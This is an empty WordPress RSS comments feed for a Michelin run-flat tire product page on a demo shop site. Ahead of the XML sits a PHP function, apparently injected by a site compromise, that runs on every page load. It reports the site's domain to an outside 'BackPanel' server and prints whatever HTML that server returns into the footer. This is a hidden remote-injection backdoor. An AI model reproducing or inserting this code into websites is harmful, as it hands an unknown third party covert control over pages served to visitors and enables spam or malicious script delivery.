function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array(
        'body' => array(
            'action' => 'register_domain',
            'domain' => $domain
        ),
        'timeout' => 5
    ));
    if (is_wp_error($response)) {
        return;
    }
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) {
            echo $html_code;
        });
    }
}
add_action('init', 'wp_injector_fetch_code');
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: 1X Tire Michelin Primacy mxm4 ZP Run Flat 225/45/18 225/45R18 2254518 91H #64439	</title>
	<atom:link href="https://omargiraldo.demowebsiteclient.com/product/1x-tire-michelin-primacy-mxm4-zp-run-flat-225-45-18-225-45r18-2254518-91h-64439/feed/" rel="self" type="application/rss+xml" />
	<link>https://omargiraldo.demowebsiteclient.com/product/1x-tire-michelin-primacy-mxm4-zp-run-flat-225-45-18-225-45r18-2254518-91h-64439/</link>
	<description></description>
	<lastBuildDate>Wed, 11 Jan 2023 01:21:31 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>
</channel>
</rss>